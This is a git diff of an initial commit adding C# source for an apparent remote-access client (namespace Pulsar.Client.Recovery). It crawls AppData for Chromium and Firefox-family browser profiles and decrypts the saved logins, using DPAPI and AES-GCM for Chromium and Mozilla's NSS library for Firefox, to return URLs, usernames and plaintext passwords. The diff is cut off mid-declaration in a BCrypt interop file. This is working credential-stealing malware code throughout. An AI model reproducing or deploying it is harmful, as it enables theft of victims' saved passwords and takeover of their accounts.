initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,94 @@
|
||||
using Pulsar.Client.Recovery.Utilities;
|
||||
using Pulsar.Common.Models;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Browsers
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides basic account recovery capabilities from chromium-based applications.
|
||||
/// </summary>
|
||||
public class ChromiumBase
|
||||
{
|
||||
|
||||
/// <summary>
|
||||
/// Reads the stored accounts of an chromium-based application.
|
||||
/// </summary>
|
||||
/// <param name="filePath">The file path of the logins database.</param>
|
||||
/// <param name="localStatePath">The file path to the local state.</param>
|
||||
/// <returns>A list of recovered accounts.</returns>
|
||||
public static List<RecoveredAccount> ReadAccounts(string filePath, string localStatePath, string appName)
|
||||
{
|
||||
var result = new List<RecoveredAccount>();
|
||||
|
||||
if (appName == "Local")
|
||||
{
|
||||
return result;
|
||||
}
|
||||
|
||||
Debug.WriteLine(filePath);
|
||||
Debug.WriteLine(localStatePath);
|
||||
Debug.WriteLine(appName);
|
||||
|
||||
if (File.Exists(filePath))
|
||||
{
|
||||
SQLiteHandler sqlDatabase;
|
||||
|
||||
if (!File.Exists(filePath))
|
||||
return result;
|
||||
|
||||
var decryptor = new ChromiumDecryptor(localStatePath);
|
||||
|
||||
try
|
||||
{
|
||||
sqlDatabase = new SQLiteHandler(filePath);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
|
||||
if (!sqlDatabase.ReadTable("logins"))
|
||||
return result;
|
||||
|
||||
for (int i = 0; i < sqlDatabase.GetRowCount(); i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
var host = sqlDatabase.GetValue(i, "origin_url");
|
||||
//Debug.WriteLine(host);
|
||||
var user = sqlDatabase.GetValue(i, "username_value");
|
||||
//Debug.WriteLine(user);
|
||||
var value = decryptor.Decrypt(sqlDatabase.GetValue(i, "password_value"));
|
||||
//Debug.WriteLine(value);
|
||||
|
||||
if (string.IsNullOrEmpty(host) || string.IsNullOrEmpty(user) || string.IsNullOrEmpty(value))
|
||||
continue;
|
||||
|
||||
result.Add(new RecoveredAccount
|
||||
{
|
||||
Url = host,
|
||||
Username = user,
|
||||
Password = value,
|
||||
Application = appName
|
||||
});
|
||||
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new FileNotFoundException("Can not find chromium logins file");
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
using Pulsar.Client.Recovery.Utilities;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Browsers
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides methods to decrypt Chromium credentials.
|
||||
/// </summary>
|
||||
public class ChromiumDecryptor
|
||||
{
|
||||
private readonly byte[] _key;
|
||||
|
||||
public ChromiumDecryptor(string localStatePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (localStatePath.Contains("AppData\\Local\\Application Data\\User Data"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (File.Exists(localStatePath))
|
||||
{
|
||||
string localState = File.ReadAllText(localStatePath);
|
||||
|
||||
var startIndex = localState.IndexOf("\"encrypted_key\"") + "\"encrypted_key\"".Length + 2;
|
||||
var endIndex = localState.IndexOf('"', startIndex + 1);
|
||||
var encKeyStr = localState.Substring(startIndex, endIndex - startIndex);
|
||||
|
||||
try
|
||||
{
|
||||
_key = ProtectedData.Unprotect(Convert.FromBase64String(encKeyStr).Skip(5).ToArray(), null,
|
||||
DataProtectionScope.CurrentUser);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(localStatePath);
|
||||
Debug.WriteLine(e);
|
||||
Debug.WriteLine("Failed to decrypt the key. Ensure you have the correct local state file.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
}
|
||||
|
||||
public string Decrypt(string cipherText)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrEmpty(cipherText))
|
||||
return "";
|
||||
|
||||
var cipherTextBytes = Encoding.Default.GetBytes(cipherText);
|
||||
|
||||
var initialisationVector = cipherTextBytes.Skip(3).Take(12).ToArray();
|
||||
var encryptedData = cipherTextBytes.Skip(15).ToArray();
|
||||
|
||||
// Separate the actual encrypted data from the auth tag
|
||||
var actualEncryptedData = encryptedData.Take(encryptedData.Length - 16).ToArray();
|
||||
var authTag = encryptedData.Skip(encryptedData.Length - 16).ToArray();
|
||||
|
||||
var decryptedPassword = DecryptAesGcm(actualEncryptedData, _key, initialisationVector, authTag);
|
||||
|
||||
if (decryptedPassword == null || decryptedPassword.Length == 0)
|
||||
return "";
|
||||
|
||||
return Encoding.UTF8.GetString(decryptedPassword);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] DecryptAesGcm(byte[] encryptedPassword, byte[] key, byte[] nonce, byte[] authTag)
|
||||
{
|
||||
const int KEY_BIT_SIZE = 256;
|
||||
|
||||
if (key == null || key.Length != KEY_BIT_SIZE / 8)
|
||||
{
|
||||
Debug.WriteLine("Key is null or invalid length!");
|
||||
return null;
|
||||
}
|
||||
if (encryptedPassword == null || encryptedPassword.Length == 0)
|
||||
{
|
||||
Debug.WriteLine("Encrypted password is empty!");
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
AesGcmBetter AES = new AesGcmBetter();
|
||||
var output = new byte[0];
|
||||
|
||||
try
|
||||
{
|
||||
output = AES.Decrypt(key, nonce, null, encryptedPassword, authTag);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
return null;
|
||||
}
|
||||
return output;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
using Pulsar.Client.Utilities;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Browsers
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides methods to decrypt Firefox credentials.
|
||||
/// </summary>
|
||||
public class FFDecryptor : IDisposable
|
||||
{
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate long NssInit(string configDirectory);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate long NssShutdown();
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx);
|
||||
|
||||
private NssInit NSS_Init;
|
||||
|
||||
private NssShutdown NSS_Shutdown;
|
||||
|
||||
private Pk11sdrDecrypt PK11SDR_Decrypt;
|
||||
|
||||
private IntPtr NSS3;
|
||||
private IntPtr Mozglue;
|
||||
|
||||
public long Init(string configDirectory)
|
||||
{
|
||||
string mozillaPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Mozilla Firefox\");
|
||||
Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll"));
|
||||
NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll"));
|
||||
IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init");
|
||||
IntPtr shutdownProc = NativeMethods.GetProcAddress(NSS3, "NSS_Shutdown");
|
||||
IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt");
|
||||
NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit));
|
||||
PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt));
|
||||
NSS_Shutdown = (NssShutdown)Marshal.GetDelegateForFunctionPointer(shutdownProc, typeof(NssShutdown));
|
||||
return NSS_Init(configDirectory);
|
||||
}
|
||||
|
||||
public string Decrypt(string cypherText)
|
||||
{
|
||||
IntPtr ffDataUnmanagedPointer = IntPtr.Zero;
|
||||
StringBuilder sb = new StringBuilder(cypherText);
|
||||
|
||||
try
|
||||
{
|
||||
byte[] ffData = Convert.FromBase64String(cypherText);
|
||||
|
||||
ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length);
|
||||
Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length);
|
||||
|
||||
TSECItem tSecDec = new TSECItem();
|
||||
TSECItem item = new TSECItem();
|
||||
item.SECItemType = 0;
|
||||
item.SECItemData = ffDataUnmanagedPointer;
|
||||
item.SECItemLen = ffData.Length;
|
||||
|
||||
if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
|
||||
{
|
||||
if (tSecDec.SECItemLen != 0)
|
||||
{
|
||||
byte[] bvRet = new byte[tSecDec.SECItemLen];
|
||||
Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen);
|
||||
return Encoding.ASCII.GetString(bvRet);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (ffDataUnmanagedPointer != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(ffDataUnmanagedPointer);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct TSECItem
|
||||
{
|
||||
public int SECItemType;
|
||||
public IntPtr SECItemData;
|
||||
public int SECItemLen;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this class.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
NSS_Shutdown();
|
||||
NativeMethods.FreeLibrary(NSS3);
|
||||
NativeMethods.FreeLibrary(Mozglue);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Client.Recovery.Utilities;
|
||||
using Pulsar.Common.Models;
|
||||
using SharpDX.Direct3D11;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.Serialization;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Browsers
|
||||
{
|
||||
public class FirefoxPassReader
|
||||
{
|
||||
|
||||
/// <inheritdoc />
|
||||
public static List<RecoveredAccount> ReadAccounts(string profiles, string name)
|
||||
{
|
||||
string[] dirs = Directory.GetDirectories(profiles);
|
||||
|
||||
var logins = new List<RecoveredAccount>();
|
||||
if (dirs.Length == 0)
|
||||
return logins;
|
||||
|
||||
foreach (string dir in dirs)
|
||||
{
|
||||
string signonsFile = string.Empty;
|
||||
string loginsFile = string.Empty;
|
||||
bool signonsFound = false;
|
||||
bool loginsFound = false;
|
||||
|
||||
string[] files = Directory.GetFiles(dir, "signons.sqlite");
|
||||
if (files.Length > 0)
|
||||
{
|
||||
signonsFile = files[0];
|
||||
signonsFound = true;
|
||||
}
|
||||
|
||||
files = Directory.GetFiles(dir, "logins.json");
|
||||
if (files.Length > 0)
|
||||
{
|
||||
loginsFile = files[0];
|
||||
loginsFound = true;
|
||||
}
|
||||
|
||||
if (loginsFound || signonsFound)
|
||||
{
|
||||
using (var decrypter = new FFDecryptor())
|
||||
{
|
||||
var r = decrypter.Init(dir);
|
||||
if (signonsFound)
|
||||
{
|
||||
SQLiteHandler sqlDatabase;
|
||||
|
||||
if (!File.Exists(signonsFile))
|
||||
return logins;
|
||||
|
||||
try
|
||||
{
|
||||
sqlDatabase = new SQLiteHandler(signonsFile);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return logins;
|
||||
}
|
||||
|
||||
|
||||
if (!sqlDatabase.ReadTable("moz_logins"))
|
||||
return logins;
|
||||
|
||||
for (int i = 0; i < sqlDatabase.GetRowCount(); i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
var host = sqlDatabase.GetValue(i, "hostname");
|
||||
var user = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedUsername"));
|
||||
var pass = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedPassword"));
|
||||
|
||||
if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user))
|
||||
{
|
||||
logins.Add(new RecoveredAccount
|
||||
{
|
||||
Url = host,
|
||||
Username = user,
|
||||
Password = pass,
|
||||
Application = name
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
// ignore invalid entry
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (loginsFound)
|
||||
{
|
||||
FFLogins ffLoginData;
|
||||
using (var sr = File.OpenRead(loginsFile))
|
||||
{
|
||||
ffLoginData = JsonHelper.Deserialize<FFLogins>(sr);
|
||||
}
|
||||
|
||||
foreach (Login loginData in ffLoginData.Logins)
|
||||
{
|
||||
string username = decrypter.Decrypt(loginData.EncryptedUsername);
|
||||
string password = decrypter.Decrypt(loginData.EncryptedPassword);
|
||||
logins.Add(new RecoveredAccount
|
||||
{
|
||||
Username = username,
|
||||
Password = password,
|
||||
Url = loginData.Hostname.ToString(),
|
||||
Application = name
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return logins;
|
||||
}
|
||||
|
||||
[DataContract]
|
||||
private class FFLogins
|
||||
{
|
||||
[DataMember(Name = "nextId")]
|
||||
public long NextId { get; set; }
|
||||
|
||||
[DataMember(Name = "logins")]
|
||||
public Login[] Logins { get; set; }
|
||||
|
||||
[IgnoreDataMember]
|
||||
[DataMember(Name = "potentiallyVulnerablePasswords")]
|
||||
public object[] PotentiallyVulnerablePasswords { get; set; }
|
||||
|
||||
[IgnoreDataMember]
|
||||
[DataMember(Name = "dismissedBreachAlertsByLoginGUID")]
|
||||
public DismissedBreachAlertsByLoginGuid DismissedBreachAlertsByLoginGuid { get; set; }
|
||||
|
||||
[DataMember(Name = "version")]
|
||||
public long Version { get; set; }
|
||||
}
|
||||
|
||||
[DataContract]
|
||||
private class DismissedBreachAlertsByLoginGuid
|
||||
{
|
||||
}
|
||||
|
||||
[DataContract]
|
||||
private class Login
|
||||
{
|
||||
[DataMember(Name = "id")]
|
||||
public long Id { get; set; }
|
||||
|
||||
[DataMember(Name = "hostname")]
|
||||
public Uri Hostname { get; set; }
|
||||
|
||||
[DataMember(Name = "httpRealm")]
|
||||
public object HttpRealm { get; set; }
|
||||
|
||||
[DataMember(Name = "formSubmitURL")]
|
||||
public Uri FormSubmitUrl { get; set; }
|
||||
|
||||
[DataMember(Name = "usernameField")]
|
||||
public string UsernameField { get; set; }
|
||||
|
||||
[DataMember(Name = "passwordField")]
|
||||
public string PasswordField { get; set; }
|
||||
|
||||
[DataMember(Name = "encryptedUsername")]
|
||||
public string EncryptedUsername { get; set; }
|
||||
|
||||
[DataMember(Name = "encryptedPassword")]
|
||||
public string EncryptedPassword { get; set; }
|
||||
|
||||
[DataMember(Name = "guid")]
|
||||
public string Guid { get; set; }
|
||||
|
||||
[DataMember(Name = "encType")]
|
||||
public long EncType { get; set; }
|
||||
|
||||
[DataMember(Name = "timeCreated")]
|
||||
public long TimeCreated { get; set; }
|
||||
|
||||
[DataMember(Name = "timeLastUsed")]
|
||||
public long TimeLastUsed { get; set; }
|
||||
|
||||
[DataMember(Name = "timePasswordChanged")]
|
||||
public long TimePasswordChanged { get; set; }
|
||||
|
||||
[DataMember(Name = "timesUsed")]
|
||||
public long TimesUsed { get; set; }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Browsers
|
||||
{
|
||||
public struct AllBrowsers
|
||||
{
|
||||
public BrowserChromium[] Chromium;
|
||||
public BrowserGecko[] Gecko;
|
||||
}
|
||||
public struct BrowserChromium
|
||||
{
|
||||
public string Name;
|
||||
public string Path;
|
||||
public string LocalState;
|
||||
public ProfileChromium[] Profiles;
|
||||
}
|
||||
|
||||
public struct ProfileChromium
|
||||
{
|
||||
public string Name;
|
||||
public string LoginData;
|
||||
public string Path;
|
||||
}
|
||||
|
||||
public struct BrowserGecko
|
||||
{
|
||||
public string Name;
|
||||
public string Path;
|
||||
public string Key4;
|
||||
public string Logins;
|
||||
public string ProfilesDir;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,217 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Threading.Tasks;
|
||||
using Pulsar.Client.Recovery.Browsers;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Crawler
|
||||
{
|
||||
public class Crawl
|
||||
{
|
||||
private static readonly string[] knownBrowserPaths = {
|
||||
@"Opera",
|
||||
@"Opera Software\Opera GX Stable",
|
||||
};
|
||||
|
||||
private static string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
|
||||
private static string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||||
private static List<BrowserChromium> foundChromiumBrowsers = new List<BrowserChromium>();
|
||||
private static List<BrowserGecko> foundGeckoBrowsers = new List<BrowserGecko>();
|
||||
|
||||
public static List<AllBrowsers> Start()
|
||||
{
|
||||
foundChromiumBrowsers.Clear();
|
||||
foundGeckoBrowsers.Clear();
|
||||
|
||||
string[] rootDirs = { localAppData, appData };
|
||||
|
||||
Parallel.ForEach(rootDirs, rootDir =>
|
||||
{
|
||||
if (Directory.Exists(rootDir))
|
||||
{
|
||||
SearchDirectory(rootDir, foundChromiumBrowsers, foundGeckoBrowsers, rootDir == appData);
|
||||
}
|
||||
});
|
||||
|
||||
CheckForKnownBrowsers();
|
||||
|
||||
return new List<AllBrowsers>
|
||||
{
|
||||
new AllBrowsers
|
||||
{
|
||||
Chromium = foundChromiumBrowsers.ToArray(),
|
||||
Gecko = foundGeckoBrowsers.ToArray()
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
private static void SearchDirectory(string directory, List<BrowserChromium> foundChromiumBrowsers, List<BrowserGecko> foundGeckoBrowsers, bool isRoaming, int depth = 0)
|
||||
{
|
||||
if (depth > 3) return;
|
||||
|
||||
try
|
||||
{
|
||||
CheckForBrowser(directory, foundChromiumBrowsers, foundGeckoBrowsers, isRoaming);
|
||||
|
||||
var subDirs = Directory.GetDirectories(directory);
|
||||
Parallel.ForEach(subDirs, dir =>
|
||||
{
|
||||
SearchDirectory(dir, foundChromiumBrowsers, foundGeckoBrowsers, isRoaming, depth + 1);
|
||||
});
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
private static void CheckForBrowser(string path, List<BrowserChromium> foundChromiumBrowsers, List<BrowserGecko> foundGeckoBrowsers, bool isRoaming)
|
||||
{
|
||||
try
|
||||
{
|
||||
string userDataPath = Path.Combine(path, "User Data");
|
||||
string localStatePath = Path.Combine(userDataPath, "Local State");
|
||||
|
||||
if (Directory.Exists(userDataPath) && File.Exists(localStatePath))
|
||||
{
|
||||
List<ProfileChromium> profiles = new List<ProfileChromium>();
|
||||
|
||||
string defaultProfile = Path.Combine(userDataPath, "Default");
|
||||
if (Directory.Exists(defaultProfile))
|
||||
{
|
||||
string loginDataPath = Path.Combine(defaultProfile, "Login Data");
|
||||
if (File.Exists(loginDataPath))
|
||||
{
|
||||
profiles.Add(new ProfileChromium
|
||||
{
|
||||
Name = "Default",
|
||||
LoginData = loginDataPath,
|
||||
Path = defaultProfile
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
var profileDirs = Directory.GetDirectories(userDataPath)
|
||||
.Where(dir => Path.GetFileName(dir).StartsWith("Profile "))
|
||||
.Select(dir => Path.GetFileName(dir));
|
||||
|
||||
foreach (var profile in profileDirs)
|
||||
{
|
||||
string profilePath = Path.Combine(userDataPath, profile);
|
||||
string loginDataPath = Path.Combine(profilePath, "Login Data");
|
||||
if (File.Exists(loginDataPath))
|
||||
{
|
||||
profiles.Add(new ProfileChromium
|
||||
{
|
||||
Name = profile,
|
||||
LoginData = loginDataPath,
|
||||
Path = profilePath
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (profiles.Count > 0)
|
||||
{
|
||||
lock (foundChromiumBrowsers)
|
||||
{
|
||||
foundChromiumBrowsers.Add(new BrowserChromium
|
||||
{
|
||||
Name = Path.GetFileName(path),
|
||||
LocalState = localStatePath,
|
||||
Path = path,
|
||||
Profiles = profiles.ToArray()
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (isRoaming)
|
||||
{
|
||||
string profilesPath = Path.Combine(path, "Profiles");
|
||||
if (Directory.Exists(profilesPath))
|
||||
{
|
||||
List<string> profiles = Directory.GetDirectories(profilesPath)
|
||||
.Select(Path.GetFileName)
|
||||
.Where(name => name.Contains(".default-"))
|
||||
.ToList();
|
||||
|
||||
if (profiles.Count > 0)
|
||||
{
|
||||
string browserName = Directory.GetParent(path)?.Name + "\\" + Path.GetFileName(path);
|
||||
lock (foundGeckoBrowsers)
|
||||
{
|
||||
foundGeckoBrowsers.Add(new BrowserGecko
|
||||
{
|
||||
Name = browserName,
|
||||
Path = path,
|
||||
Key4 = Path.Combine(path, "key4.db"),
|
||||
Logins = Path.Combine(path, "logins.json"),
|
||||
ProfilesDir = profilesPath
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
private static void CheckForKnownBrowsers()
|
||||
{
|
||||
foreach (var knownPath in knownBrowserPaths)
|
||||
{
|
||||
string fullPath = Path.Combine(appData, knownPath);
|
||||
if (Directory.Exists(fullPath))
|
||||
{
|
||||
if (knownPath.Contains("Opera"))
|
||||
{
|
||||
CheckForOperaBrowser(fullPath);
|
||||
}
|
||||
else
|
||||
{
|
||||
CheckForBrowser(fullPath, foundChromiumBrowsers, foundGeckoBrowsers, false);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void CheckForOperaBrowser(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string loginDataPath = Path.Combine(path, "Login Data");
|
||||
if (File.Exists(loginDataPath))
|
||||
{
|
||||
var profiles = new List<ProfileChromium>
|
||||
{
|
||||
new ProfileChromium
|
||||
{
|
||||
Name = "Default",
|
||||
LoginData = loginDataPath,
|
||||
Path = path
|
||||
}
|
||||
};
|
||||
|
||||
lock (foundChromiumBrowsers)
|
||||
{
|
||||
foundChromiumBrowsers.Add(new BrowserChromium
|
||||
{
|
||||
Name = "Opera",
|
||||
LocalState = Path.Combine(path, "Local State"),
|
||||
Path = path,
|
||||
Profiles = profiles.ToArray()
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Utilities
|
||||
{
|
||||
public static class BCrypt
|
||||
{
|
||||
public const uint ERROR_SUCCESS = 0x00000000;
|
||||
public const uint BCRYPT_PAD_PSS = 8;
|
||||
public const uint BCRYPT_PAD_OAEP = 4;
|
||||
|
||||
public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b);
|
||||
|
||||
public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength";
|
||||
public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
|
||||
public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength";
|
||||
public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode";
|
||||
public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";
|
||||
public static readonly string BCRYPT_AES_ALGORITHM = "AES";
|
||||
|
||||
public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";
|
||||
|
||||
public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001;
|
||||
public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001;
|
||||
|
||||
public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct BCRYPT_PSS_PADDING_INFO
|
||||
{
|
||||
public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt)
|
||||
{
|
||||
this.pszAlgId = pszAlgId;
|
||||
this.cbSalt = cbSalt;
|
||||
}
|
||||
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string pszAlgId;
|
||||
public int cbSalt;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable
|
||||
{
|
||||
public int cbSize;
|
||||
public int dwInfoVersion;
|
||||
public IntPtr pbNonce;
|
||||
public int cbNonce;
|
||||
public IntPtr pbAuthData;
|
||||
public int cbAuthData;
|
||||
public IntPtr pbTag;
|
||||
public int cbTag;
|
||||
public IntPtr pbMacContext;
|
||||
public int cbMacContext;
|
||||
public int cbAAD;
|
||||
public long cbData;
|
||||
public int dwFlags;
|
||||
|
||||
public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this()
|
||||
{
|
||||
dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION;
|
||||
cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
|
||||
|
||||
if (iv != null)
|
||||
{
|
||||
cbNonce = iv.Length;
|
||||
pbNonce = Marshal.AllocHGlobal(cbNonce);
|
||||
Marshal.Copy(iv, 0, pbNonce, cbNonce);
|
||||
}
|
||||
|
||||
if (aad != null)
|
||||
{
|
||||
cbAuthData = aad.Length;
|
||||
pbAuthData = Marshal.AllocHGlobal(cbAuthData);
|
||||
Marshal.Copy(aad, 0, pbAuthData, cbAuthData);
|
||||
}
|
||||
|
||||
if (tag != null)
|
||||
{
|
||||
cbTag = tag.Length;
|
||||
pbTag = Marshal.AllocHGlobal(cbTag);
|
||||
Marshal.Copy(tag, 0, pbTag, cbTag);
|
||||
|
||||
cbMacContext = tag.Length;
|
||||
pbMacContext = Marshal.AllocHGlobal(cbMacContext);
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce);
|
||||
if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag);
|
||||
if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData);
|
||||
if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext);
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct BCRYPT_KEY_LENGTHS_STRUCT
|
||||
{
|
||||
public int dwMinLength;
|
||||
public int dwMaxLength;
|
||||
public int dwIncrement;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct BCRYPT_OAEP_PADDING_INFO
|
||||
{
|
||||
public BCRYPT_OAEP_PADDING_INFO(string alg)
|
||||
{
|
||||
pszAlgId = alg;
|
||||
pbLabel = IntPtr.Zero;
|
||||
cbLabel = 0;
|
||||
}
|
||||
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string pszAlgId;
|
||||
public IntPtr pbLabel;
|
||||
public int cbLabel;
|
||||
}
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string pszAlgId,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string pszImplementation,
|
||||
uint dwFlags);
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags);
|
||||
|
||||
[DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")]
|
||||
public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags);
|
||||
|
||||
[DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")]
|
||||
internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);
|
||||
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptImportKey(IntPtr hAlgorithm,
|
||||
IntPtr hImportKey,
|
